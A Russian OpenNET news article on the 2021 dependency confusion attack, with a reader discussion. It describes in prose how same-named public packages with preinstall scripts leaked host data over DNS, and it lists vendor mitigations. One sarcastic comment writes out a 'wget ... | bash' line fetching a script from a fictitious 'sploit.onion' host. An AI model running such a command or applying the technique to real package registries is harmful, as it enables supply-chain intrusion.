The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний

10.02.2021 09:31

Представлен поразительный по своей простоте метод атаки на зависимости в приложениях, при разработке которых используются внутренние репозитории пакетов. Выявившие проблему исследователи смогли выполнить свой код на внутренних серверах 35 компаний, среди которых PayPal, Micrоsoft, Apple, Netflix, Uber, Tesla и Shopify. Взломы проводились в рамках программ Bug Bounty, согласованно с атакуемыми компаниями, и уже принесли авторам 130 тысяч долларов, выплаченных в форме вознаграждений за выявление уязвимостей (выплаты продолжают поступать).

Метод основан на том, что многие компании используют в своих внутренних приложениях зависимости из стандартных репозиториев NPM, PyPI и RubyGems, а также внутренние зависимости, которые не распространяются публично и загружаются из собственных репозиториев. Проблема в том, что пакетные менеджеры, такие как npm, pip и gem, пытаются загрузить внутренние зависимости компаний в том числе и из публичных репозиториев. Для атаки достаточно определить имена пакетов со внутренними зависимостями и создать собственные пакеты с такими же именами в публичных репозиториях NPM, PyPI и RubyGems. Проблема не специфична для NPM, PyPI и RubyGems, и также проявляется в других системах, таких как NuGet, Maven и Yarn.

Идея предложенного метода появилась после того, как исследователь случайно обратил внимание, что в публикуемом на GitHub общедоступном коде многие компании не очищают из manifest-файлов упоминание дополнительных зависимостей, применяемых во внутренних проектах или при реализации расширенной функциональности. Подобные следы были найдены в JavaScript-коде web-сервисов, а также Node.JS, Python и Ruby проектах многих компаний. Основные утечки были связаны со встраиванием содержимого файлов package.json в публично доступный JavaScript-код в процессе сборки проекта, а также использованием элементов реальных путей в вызовах require(), по которым можно судить об именах внутренних зависимостей.

Сканирование нескольких миллионов корпоративных доменов позволило выделить несколько тысяч имён JavaScript-пакетов, отсутствующих в репозитории NPM. Собрав базу внутренних имён пакетов, исследователь решился на эксперимент по взлому инфраструктуры компаний, участвующих в программах Bug Bounty. Результаты оказались неожиданно эффективными и исследователю удалось выполнить свой код на многих компьютерах разработчиков и серверах, отвечающих за сборку или тестирование на базе систем непрерывной интеграции.

При загрузке зависимостей пакетные менеджеры npm, pip и gem в первую очередь устанавливали пакеты из первичных публичных репозиториев NPM, PyPI и RubyGems, которые рассматривались как более приоритетные. Наличие аналогичных пакетов с теми же именами в приватных репозиториях компаний игнорировалось без вывода какого-либо предупреждения и не приводя к сбоям, которые бы привлекли внимание администраторов. В PyPI на приоритет загрузки влиял номер версии (независимо от репозитория загружалась наиболее свежая версия пакета). В NPM и RubyGems приоритет зависел только от репозитория.

Исследователь разместил в репозиториях NPM, PyPI и RubyGems пакеты, пересекающиеся с названиями найденных внутренних зависимостей, добавив в скрипт, запускаемый перед началом установки (preinstall в NPM), код для сбора информации о системе и отправки полученных сведений на внешний хост. Все опубликованные дубликаты пакетов был снабжены примечанием о проведении исследования. Для передачи сведений об успехе взлома в обход межсетевых экранов, блокирующих внешний трафик, использовался метод организации скрытого канала связи поверх протокола DNS. Запускаемый код осуществлял резолвинг хоста в подконтрольном атакующему домене, что позволяло на DNS-сервере собирать информацию об успешных операциях. Передавались сведения о хосте, имени пользователя и текущем пути.

75% от всех зафиксированных запусков кода были связаны с загрузкой NPM-пакетов, в основном из-за того, что имён внутренних JavaScript модулей было найдено значительно больше, чем имён зависимостей на Python и Ruby. Имена внутренних gem-пакетов были обнаружены всего у 8 компаний, из которых 4 удалось успешно атаковать через создание дубликата пакета в RubyGems. В том числе таким способом была атакована компания Shopify, сборочный сервер которой автоматически установил поддельный gem-пакет shopify-cloud спустя всего несколько часов после публикации. Поддельный Node.js-пакет idms-pmrpc был установлен на нескольких компьютерах во внутренней сети компании Apple, в том числе на сервере, связанном с сервисом Apple ID.

В инфраструктуре Microsoft удалось выполнить Python-пакет, который был установлен на серверах, отвечающих за сборку платформы .NET Core, из публичного репозитория PyPI из-за подключения внутреннего репозитория при помощи опции "--extra-index-url", при которой источник загрузки определяет версия пакета. В проектах на Ruby похожий эффект достигается при использовании "gem install --source". В случае, если бы атака проводилась злоумышленниками, полученного доступа было бы достаточно для внедрения бэкдора в .NET Core.

Компания Microsoft опубликовала рекомендации по защите сборочных систем от атак на зависимости:

  • В PyPI рекомендуется использовать опцию "--index-url" для переопределения приоритета обработки зависимостей, а не "--extra-index-url"
  • В NuGet в nuget.config в секции packageSources рекомендуется использовать запись <clear /> для удаления наследуемых конфигураций и явно добавлять приватные репозитории через запись <add />.
  • В Maven рекомендуется настроить одно общее зеркало при помощи опций <mirrorOf>*</mirrorOf> и перенаправлять в него все запросы к репозиториям. Другим вариантом является переопределение репозиториев по умолчанию при помощи настройки <releases>.
  • В NPM и Yarn в пакетах рекомендуется определить scopeprefix для привязки репозитория к каждому пакету (возможна привязка только одного репозитория).

Дополнение 1: Пакетный менеджер Cargo проблеме не подвержен, так как по умолчанию обрабатываются только пакеты с crates.io, а при использовании дополнительных репозиториев требуется явное их указание для каждой зависимости.

Дополнение 2: GitHub опубликовал рекомендации по защите внутренних репозиториев от атаки через зависимости. Рекомендации сводятся к ограничению области видимости внутренних пакетов через префикс "@" и определение привязки к внутреннему репозиторию в файле конфигурации ".npmrc".

Дополнение 3: После раскрытия информации о проблеме в репозитории NPM зафиксировано добавление около 300 пакетов, пытающихся атаковать системы через внутренние зависимости. Большинство пакетов используют код, применявшийся в оригинальном исследовании и примечание о проведении теста безопасности, но изначальный автор исследования отверг свою связь с данной активностью. Наиболее вероятно, что другие исследователи пытаются успеть заработать через программы Bug Bounty.

  1. Главная ссылка к новости (https://medium.com/@alex.birsa...)
  2. OpenNews: В RubyGems выявлено 724 вредоносных пакета
  3. OpenNews: Применение тайпсквоттинга для распространения вредоносных модулей NPM, PyPI и Gems
  4. OpenNews: Уязвимость в NPM, позволяющая изменить произвольные файлы при установке пакета
  5. OpenNews: Техника скрытой передачи данных через изменение яркости LCD-экрана
  6. OpenNews: Техника скрытой передачи данных через генерацию чипами памяти сигнала, улавливаемого по Wi-Fi
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/54566-hack
Ключевые слова: hack, dependency, npm, gem, pip
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (183) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Leftpad (?), 11:03, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +55 +/
    Нужно больше зависимостей и скриптов установки.
     
     
  • 2.3, Лудакрис (?), 11:08, 10/02/2021 Скрыто ботом-модератором     [к модератору]
  • –12 +/
     
     
  • 3.6, Аноним (6), 11:15, 10/02/2021 Скрыто ботом-модератором     [к модератору]
  • –4 +/
     
     
  • 4.12, Лудакрис (?), 11:31, 10/02/2021 Скрыто ботом-модератором     [к модератору]
  • –5 +/
     
  • 4.58, Аноним (58), 13:24, 10/02/2021 Скрыто ботом-модератором     [к модератору]
  • +1 +/
     
  • 2.8, Аноним (8), 11:18, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +11 +/
    Не зря же в расте даже базовые возможности - во внешних модулях. Растаманы приготовили благодатную почву...
     
     
  • 3.65, Аноним (65), 13:30, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    https://www.reddit.com/r/rust/comments/lgl7bf/is_cargo_vulnerable_to_this_supp
     
     
  • 4.147, topin89 (ok), 20:08, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Озвучу для тех, кому лень переходить:
    Нет, в карго такой уязвимости нет. Но это вышло случайно, о такой атаке никто не думал заранее.
     
     
  • 5.202, rex (??), 13:30, 18/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    В смысле, никто не думал заранее?

    Я всегда считал это багом многих утилит работы с пакетами.

    А вот, например, в 'docker pull' явно прописывается адрес регистри.

     
  • 2.10, Аноним (10), 11:20, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +9 +/
    Больше зависимостей богу зависимостей! Да здравствует leftpad.
     
     
  • 3.101, Аноним (-), 15:04, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Да здравствует Haskell!
     
  • 3.180, ЧешкиЧехова (?), 19:07, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    ЛапкоКодеры импортируют на лету непроверенное гавно из внешних источников в прод рантайм.

    Так вообще можно было сразу форму отправки для загрузки произвольного крипта сделать и повесить на главную, механика даже не уровня xss.

    Виток "Кнута-Смузи":

    1
    Тяжёлые времена
    рождают сильных кодеров.

    2
    Сильные кодеры
    ролждают либы и фреймворки.

    3
    Фреймворки и либы
    рождают слабых кодеров.

    4
    Слабые кодеры
    рождают тяжёлые времена.

    Мы где то в середине 4ой стадии. А все умы идут в децентрализацию, trust computing и прочие умные модели, чтобы закрыть эпоху смузихлебов танцующих дырявую Тьюринг машину.

     
     
  • 4.196, Aga (??), 00:03, 14/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать все в условный index.php, чтобы чувствовать себя сильными кодерами
     
     
  • 5.198, Аноним (-), 08:14, 14/02/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать
    > все в условный index.php, чтобы чувствовать себя сильными кодерами

    ЧСХ пока так делали - работало явно лучше. Во всяком случае, гиг RAM на рендер не жрало и не грузилось по 5 минут, даже несмотря на тормозные диалапы с GPRS и ADSL-ями.

     
     
  • 6.203, rico (ok), 18:52, 18/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Принцип модульности Орлова: если из распечатки одного модуля программы можно свить веревку, на которой можно повесить программиста, его написавшего, то все это следует сделать.
     
  • 4.204, RedEyedMan (ok), 14:09, 26/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Вполне нормальное явление. Иначе зачем все эти либы и фреймворки, сильные обойдутся и без них. А я слабый, пользуюсь либами и фреймворками.
     
  • 2.38, Dzen Python (ok), 12:50, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Нужно больше васянских библиотек и костылей "на вызов одной функции"
     
     
  • 3.184, Аноним (-), 03:38, 12/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Так, блин, это ж программировать надо А вот это вебмакаки не умеют Ну, скольк... большой текст свёрнут, показать
     
  • 2.48, Аноним (48), 13:08, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +7 +/
    Правильно, если у тебя в большом проекте 1 000 000 однострочников и ты использовал этот проект как платформу для 1000 других проектов, то весь код между проектами нужно копировать. И не в коем случае не использовать менеджеры зависимости! И когда ты фиксишь например 100 функций-однострочников в одном проекте, то все их вручную нужно копировать в 100 других проектов. Гениально, надо продвигать эту идею в массы.
     
     
  • 3.84, YetAnotherOnanym (ok), 14:19, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +11 +/
    Вообще-то, когда приходится фиксить сотни чужих пакетов, это достаточный повод сесть, подумать, и выбрать какую-то более другую платформу.
     
     
  • 4.183, Bob (??), 00:09, 12/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Или заводить трактор, взяв месяц больничного и месяц отпуска, оплачиваемых)
     
  • 3.102, Аноним (102), 15:06, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Так писали наши деды. Раньше позорным считалось переиспользование кода не только в соседних отделах, но даже в рамках одной программы. Если ты не можешь написать оригинальный код ad-hoc, то ты даже не программист, ты просто макака-копипастер.
     
     
  • 4.157, italliano monkey (?), 00:03, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    или просто Java-программист
     
  • 4.205, Sample (??), 14:58, 01/03/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Наши деды славные  победы, вот  где  наши  деды  
     
  • 3.185, Аноним (-), 03:39, 12/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Правильно, если у тебя в большом проекте 1 000 000 однострочников

    ...то ты сделал что-то ну вот вообще совсем не так...

     
  • 2.153, InuYasha (??), 22:27, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +6 +/
    Вообще от зависимостей надо лечиться, а то в диспансер на учёт поставят :)
     
  • 2.200, Аноним (200), 14:14, 15/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ваш комментарий в моей голове был озвучен голосом нежити из Варкрафта 3 ))
     

  • 1.2, Леголас (ok), 11:06, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +9 +/
    всё гениальное просто
     
     
  • 2.51, AHOHUM (?), 13:14, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Природа красива в простоте сложности и сложности простоты. Не удаётся скрыться от сложности в простоту.
     
     
  • 3.194, Аноним (194), 00:49, 13/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Недавно я с удивлением заметил, какому количеству полезных вещей мы обязаны растительному миру нашей планеты.
    IT-корпорации должны быть разрушены.
     

  • 1.4, DildoZilla (?), 11:14, 10/02/2021 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • –6 +/
     
  • 1.5, Аноним (5), 11:15, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    Дыра. Раста проблема тоже касается?
     
     
  • 2.18, Лудакрис (?), 11:36, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    а есть упоминание? читайте внимательнее, глупые аноны, это нелегко, знаю, но пытайтесь!
     
     
  • 3.21, Аноним (21), 11:41, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Нет упоминанй, потому что Растом и его пакетником в не пользуются?
     
  • 3.22, Аноним (5), 11:42, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Не хами!
     
  • 3.49, Аноним (48), 13:12, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Я не тот анон, но там написано "в других системах, таких как..." и дальше приводится пример (именно пример, а не весь список!!!) систем "таких как". То есть из текста следует, что проблеме может быть подвержен любой менеджер зависимостей даже если он не перечислен в данной статье.
     
     
  • 4.113, An O Nim (?), 16:13, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Проблема ещё шире: переменчивость артефактов во внешних сетях.

    Человеки делают неустойчивые системы. За первую половину молодости ооочень много кому не случается встретить, но эффект есть и существует - системы неустойчивы, могут исчезать или нужные подменяться на ненужные.

     
     
  • 5.195, Аноним (194), 00:51, 13/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Да. В интернете может что угодно в любой момент исчезнуть навсегда, не оставив следов, и не достучишься.
    Страшное чувство.
     
  • 2.25, Ананимус (?), 11:53, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Нет, там нужно указывать registry, откуда качать пакет.
     
  • 2.30, cheater (?), 12:03, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Не раста, а cargo.

    Именно эта не касается, тк. зависимости качаются по дефолту с crates.io, если явно не сказано иное.

    Проблемам компрометации пакетов cargo подвержен так же как и все остальные, например если указать в конфиге Cargo.toml version ">=0.2" то никто не мешает скомпрометировать v0.3 в репозитории

     
     
  • 3.32, Аноним (5), 12:09, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Да, это проблема и не только cargo, но и всего раста, потому что все используют cargo. В общем, недостатки - это продолжение достоинств. Хотелось бы, чтобы появилась полноценная возможность опираться в пакетах (крейтах) только на то, что идет с самим дистрибутивом линукса, не компрометируя себя связями с единственным иностранным внешним репозиторием. Обычно всем пофиг на это, но есть области программирования, где совсем не пофиг. Короче, исходная тема новости лишний говорит, что бесплатного сыра [в мышеловке] не бывает.
     
     
  • 4.37, Siborgium (ok), 12:28, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    cargo умеет работать с git-репозиториями и локальными пакетами.
     
     
  • 5.39, Dzen Python (ok), 12:53, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    И?
    На локальные пакеты он сможет сослаться в уже скомпилированном состоянии?
    А на локальные системные либы при сборке?
    Или для этого все равно нужно тянуть обертки с крейтс?
    Просто интересно
     
     
  • 6.68, Аноним (68), 13:38, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    В уже скомпилированном состоянии он будет содержать крейты в себе.

    Раст все растовые (в т.ч. удаленные крейты) зависимости вкомпиливает статически. В нем нет динамической линковки, поскольку нет стабильно ABI https://github.com/rust-lang/rfcs/issues/600 . Динамическая линковка доступна только при FFI (с либами, написанными на других языках)

    Лично мне это нравится благодаря достигаемой скорости исполнения при использовании LTO. Понимаю тех, у кого места на диске мало. Или кому нужно множество связанных раст-процессов запускать.

     
     
  • 7.79, Аноним (8), 13:58, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > В нем нет динамической линковки, поскольку нет стабильно ABI

    Карл, а что делали растаманы 15 лет?!

     
     
  • 8.90, Ordu (ok), 14:30, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Ничего не делали, я уже говорил в соседнем топике Раскручивали язык, чтобы взят... текст свёрнут, показать
     
  • 7.186, Аноним (-), 03:43, 12/02/2021 [^] [^^] [^^^] [ответить]  
  • –3 +/
    > доступна только при FFI (с либами, написанными на других языках)

    Да у них и сам яп бесполезен без сишно-сиплюсплюсного LLVM'а. Это не мешаер растаманам быковать на си и плюсы, в таких мелочах "системные" вебмакаки не парятся :)

     
  • 6.78, cheater (?), 13:57, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > На локальные пакеты он сможет сослаться в уже скомпилированном состоянии?

    Вопрос некорректен, тк скомпилированный бинарник на расте - это обычный ELF или PE32 или какой там бинарный формат на целевой платформе. Он может динамически линковаться с системными .so файлами, а также с растовыми .so (динамическими библиотеками с растовым ABI а не C ABI). См. https://users.rust-lang.org/t/what-is-the-difference-between-dylib-and-cdylib/


    > А на локальные системные либы при сборке?

    Да, см. https://doc.rust-lang.org/reference/items/external-blocks.html#the-link-attrib

     
  • 5.41, Аноним (5), 12:54, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Мне интереснее, а можно ли при сборке приложения с помощью cargo использовать только то, что идет с дистрибутивом, вообще, не залезая в интернет (например, если это запрещено или даже, если нет интернета)?
     
     
  • 6.70, Аноним (68), 13:43, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Позволен git, путь, и crates.io. Можно создать свой https://github.com/rust-lang/crates.io если вы совсем большие, и указать в проекте адрес на него.
     
     
  • 7.72, Аноним (68), 13:45, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Называется это (crates.io) registry https://doc.rust-lang.org/cargo/reference/registries.html
     
  • 7.119, Аноним (119), 17:14, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    написал вместо того что бы сказать нет.
     
  • 6.128, Аноним (-), 17:56, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Это unsafe и не позволяет делать запланированное устаревание
     
  • 6.134, cheater (?), 18:25, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Вопрос не очень понятен 99 999 процентов пакетов в расте имеют внешние завис... большой текст свёрнут, показать
     
     
  • 7.146, Аноним (5), 19:53, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Даже если сделать "cargo vendor", то изначально все равно крейты попадут в локальное хранилище (подкаталог проекта) из ненадежного сайта crates.io, т.е. такие крейты не будут вызывать доверия. Я же предпочел бы, чтобы крейты брались из дистрибутива линукса. Точнее, мне самому это не так важно, а важно то, что такое требование могут выставить потенциальные заказчики - к гадалке не ходи!
     
  • 6.149, Аноним (149), 20:29, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Да, уважающие себя дистрибутивы, вроде Дебиана и Федоры так и делают, поэтому в них и полно всяких devel-пакетов с крейтами Rust и модулями Go

    Вот так, например, в дебиане выглядит утилита на расте, исходники которой одновременно идут в пакет-крейт
    https://packages.debian.org/source/buster/rust-exa

     
  • 3.34, Аноним (68), 12:22, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Если у тебя конечно есть доступ к репозиторию.
     
  • 2.35, Аноним (68), 12:24, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –4 +/
    А при чем тут Раст? Он же не скриптовый вроде
     
     
  • 3.59, pda (?), 13:26, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Проблема не в языках, а в пакетных менеджерах.
     
  • 2.156, Аноним (156), 23:38, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    а там написано, но это ж читать букавки надо, чему многи не обучены )))
     
  • 2.199, Аноним (199), 23:56, 14/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    в русте зависимости ставятся через wget https://sploit.onion/l33t.sh | bash. до менеджера пакета форк-бомба просто не дойдёт - сработает раньше. безопасность же.
     

  • 1.7, тоже Аноним (ok), 11:17, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +13 +/
    Рекомендации по защите не работают.
    Работает только система, которая безопасна из коробки и требует чтения рекомендаций для того, чтобы сделать ее небезопасной.
     
  • 1.11, Lex (??), 11:20, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    > Проблема в том, что пакетные менеджеры, такие как npm .. пытаются загрузить внутренние зависимости компаний в том числе и из публичных репозиториев

    Они что, объявляли их просто как пакеты, а не ссылкой на каталог/файл типа file:// или ссылки на конкретную гитОвую репу типа git://github.com/<user>/<project>.git#<branch> !?

    -Если так, то руководителей отделов разработки тех контор надо гнать сс.ными тряпками, поскольку в противном случае пакет вообще почти откуда угодно может стягиваться даже просто ввиду случайного совпадения имен

     
     
  • 2.40, Dzen Python (ok), 12:54, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Ты что! Там жЫ уважаемые девляпсы и сениоры! Они такой код пишуть - аж закачаешься (от эмоций!)!
     
     
  • 3.54, AHOHUM (?), 13:20, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Не пишуть! А рисуютЪ!!! :)) Баги фиксят в продукте исправлением пары строк в конфигурации запуска.

    Как стройбат: такие звери, что даже автомат не выдают.

     
  • 2.118, YetAnotherOnanym (ok), 17:07, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Скорее уволят начотдела, у которого програмеры пишут недостаточно быстро.
     

  • 1.14, ryoken (ok), 11:32, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Так им всем и надо.
     
  • 1.23, Аноним (-), 11:46, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    > а также внутренние зависимости, которые не распространяются публично и загружаются из собственных репозиториев.

    Руст или вообще какой-нибудь петон. Мы то знаем.

     
  • 1.24, Аноним (24), 11:51, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А как они узнали их имена ?
     
     
  • 2.26, Аноним (24), 11:55, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > как исследователь случайно обратил внимание, что в публикуемом на GitHub общедоступном коде многие компании не очищают из manifest-файлов упоминание дополнительных зависимостей, применяемых во внутренних проектах или при реализации расширенной функциональности.

    А если кто то забудет там пароли ?

     
     
  • 3.197, Аноним (-), 05:43, 14/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    На этот случай есть безопасТное восстановление паролей через ваши безопасТные мобильники. Номера на которых сейчас не подделывает только ленивый.
     
  • 2.29, kissmyass (?), 12:02, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    ну например если дотнет то прям в файле проекта

    <PackageReference Include="Fck.U.MS" Vesion="666-go-to-hell-beta2" />

     
     
  • 3.85, Аноним (24), 14:20, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    В смысле ? Разве оно первым делом не локальный файл ищет ?

    Весь смысл подобных штук,  проксей, кешей и т.д. в начале ЭТО ищут локально и если нет то тогда уже  в ...

     
     
  • 4.100, kissmyass (?), 15:03, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > В смысле ? Разве оно первым делом не локальный файл ищет ?
    > Весь смысл подобных штук,  проксей, кешей и т.д. в начале ЭТО
    > ищут локально и если нет то тогда уже  в ...

    Локально это где? Nuget пакет не поставляется с самим проектом.

     
  • 2.31, kissmyass (?), 12:04, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    а если доступа к коду нет, но есть к бинарникам, то обычно одна ассембли - один nuget пакет
     

  • 1.27, bsdun (?), 11:58, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    Использовали бы FreeBSD и её дерево портов, проблем бы не было!
     
  • 1.28, kissmyass (?), 11:58, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Я тоже немного офигел когда приватные пакеты искались на nuget.org

    Самый очевидный но не самый простой способ на мой взгляд это юзать что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из списка источников.

     
     
  • 2.86, JL2001 (ok), 14:21, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Я тоже немного офигел когда приватные пакеты искались на nuget.org
    > Самый очевидный но не самый простой способ на мой взгляд это юзать
    > что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из
    > списка источников.

    а Nexus не накачает с nuget.org более новых версий, чем локальные??

     
     
  • 3.103, kissmyass (?), 15:09, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >> Я тоже немного офигел когда приватные пакеты искались на nuget.org
    >> Самый очевидный но не самый простой способ на мой взгляд это юзать
    >> что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из
    >> списка источников.
    > а Nexus не накачает с nuget.org более новых версий, чем локальные??

    Насколько я знаю, там надо апрувить пакеты на кеширование.
    Если пакета нет, то пофик какой версии его нет )))
    Он заберется из приватной репы.

     
     
  • 4.109, JL2001 (ok), 15:55, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >>> Я тоже немного офигел когда приватные пакеты искались на nuget.org
    >>> Самый очевидный но не самый простой способ на мой взгляд это юзать
    >>> что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из
    >>> списка источников.
    >> а Nexus не накачает с nuget.org более новых версий, чем локальные??
    > Насколько я знаю, там надо апрувить пакеты на кеширование.
    > Если пакета нет, то пофик какой версии его нет )))
    > Он заберется из приватной репы.

    возможно от настроек зависит, наш выкачивает автоматом

     

  • 1.33, Fracta1L (ok), 12:10, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Зависимости эт плохо пнятненько
     
     
  • 2.148, Сишные дырени (?), 20:09, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Сильвупле
     

  • 1.36, qweqwe (?), 12:27, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    composer у php не подвержен такой бяке?
     
     
  • 2.88, Аноним (88), 14:24, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Если сам не наделаешь
     

  • 1.42, Аноним (42), 12:54, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    >многие компании не очищают из manifest-файлов упоминание дополнительных зависимостей

    Защита методом "безопасность через неясность" - говно.

    В нормальных компаниях просто с публичных репозиториев ничего не ставится. Ставится со своего, все чужие пакеты в котором проверены службой безопасности.

     
     
  • 2.43, Аноним (-), 12:57, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Это где так ?
     
     
  • 3.151, Атон (?), 21:12, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    *банк
     
     
  • 4.162, JL2001 (ok), 02:17, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > *банк

    огласите название, плз
    банк резервного фонда сша имени масонов?
    их СБ памятник в платине поставить надо, если они акцептуют зависимости не по типу некст-некст-некст-инстал

     
     
  • 5.174, Атон (?), 14:41, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >> *банк
    > огласите название, плз

    крупный банк.  сбер, втб, райф, другие

    > их СБ памятник в платине поставить надо, если они акцептуют зависимости не
    > по типу некст-некст-некст-инстал

    никто не знает как, но времени это занимает много.

     
  • 2.44, Dzen Python (ok), 12:58, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    В нормальных компаниях к тому моменту, когда они выкладывают код/имеют зрелый продукт на руках уже есть набор нормальных опенсорцных .so'шников ИЛИ свой набор отлаженных, оптимизированных homebrew-либ. Ни или в сама крайнем случае - нормальная купленная библитека на внутреннем сервере. А не набор васянских лефтпадов из NPM
     
  • 2.46, Аноним (46), 13:05, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Если уж этим на "проверены службой безопасности" не хватает, то где тогда "нормальные" водятся?
     
  • 2.87, JL2001 (ok), 14:23, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Ставится со своего, все чужие пакеты в котором проверены службой безопасности.

    втф? ловите эльфа/наркомана!!

     
     
  • 3.106, www2 (??), 15:33, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Пользователи Windows, скачавшие её с торрентов у Васяна и потом качающие на неё софт с кряками по первой ссылке из поиска - вот настоящие эльфы и наркоманы.

    Самые серьёзные люди используют списки контроля доступа, системны мандатного доступа и сертифицированные операционные системы, поставить на которые обновлённый пакет - значит лишиться сертификации.

    Новость тут в том, что даже качая из официального источника, проверяя хэш-суммы и цифровые подписи скачанного, можно всё равно нарваться на подлог из-за неправильно выставленных (или не выставленных вовсе) приоритетов источников.

     
     
  • 4.132, JL2001 (ok), 18:15, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
